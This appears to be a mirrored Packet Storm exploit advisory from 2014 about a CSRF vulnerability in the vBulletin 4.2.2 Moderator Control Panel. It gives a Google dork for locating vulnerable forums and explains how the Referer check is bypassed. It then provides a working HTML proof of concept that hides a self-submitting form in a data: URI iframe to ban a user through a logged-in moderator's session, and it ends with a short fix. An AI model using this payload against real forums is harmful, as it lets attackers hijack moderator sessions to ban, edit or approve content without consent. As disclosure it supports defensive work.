vBulletin Moderator Control Panel 4.2.2 CSRF

🗓️ 17 Dec 2014 00:00:00Reported by Daniel TomescuType

packetstorm🔗 packetstormsecurity.com👁 36 Views

vBulletin Moderator Control Panel 4.2.2 CSRF vulnerability description and exploi

`# Exploit Title: vBulletin Moderator Control Panel CSRF  
# Google Dork: "Powered by vBulletin® Version 4.2.2"  
# Date: 16-12-2014  
# Exploit Author: Tomescu Daniel http://daniel-tomescu.com https://rstforums.com/forum  
# Vendor Homepage: http://www.vbulletin.com/en/vb4-features/  
# Software Link: Premium  
# Version: vBulletin 4.2.2  
# Tested on: Chrome and Firefox  
# Reference: https://rstforums.com/forum/88810-csrf-vbulletin-modcp.rst  
  
  
### 1. Description  
  
vBulletin Moderator Control Panel suffer from a CSRF vulnerability because the CSRF tokens "adminhash" and "securitytoken" are not verified in POST requests.   
  
vBulletin has one additional protection against CSRF: checking the Referer header to be same origin. However this can be bypassed by making a POST request that does not have a Referer header.   
  
This vulnerability allows an attacker to ban/unban users, to modify user profiles, to edit/approve posts and topics and so on.   
  
### 2. Proof of Concept  
  
The attacker should target a moderator of target-forum.com and the moderator must be logged in Moderator Control Panel. The vulnerability can be exploited by tricking the moderator to visit a webpage that contains the following html code:  
  
<iframe name="ifr" frameborder="0" style="overflow:hidden;height:1%;width:1%" height="1%" width="1%"   
src='data:text/html,  
<html>   
<body>   
<iframe style="display:none" name="csrf-frame"></iframe>  
<form style="display:none" method="POST" action="https://target-forum.com/path-to/modcp/banning.php?do=dobanuser" target="csrf-frame" id="csrf-form">  
<input type="hidden" name="do" value="dobanuser" >   
<input type="hidden" name="adminhash" value="" >   
<input type="hidden" name="securitytoken" value="" >  
<input type="hidden" name="username" value="UserToBeBanned" >   
<input type="hidden" name="usergroupid" value="8" >  
<input type="hidden" name="period" value="D_7" >   
<input type="hidden" name="reason" value="Banned with CSRF" >  
<input type="submit" value="submit">   
</form>   
<script> window.onload = function(){ document.getElementById("csrf-form").submit(); } </script>   
</body>  
</html>'>  
</iframe>  
  
As a result, the user with the username "UserToBeBanned" will be added to the banned users list.  
  
### 3. Solution:  
  
Do not allow POST requests without a Referer header.  
Verify "adminhash" and "securitytoken" to be valid.  
  
`

17 Dec 2014 00:00Current

0.4Low risk

Vulners AI Score0.4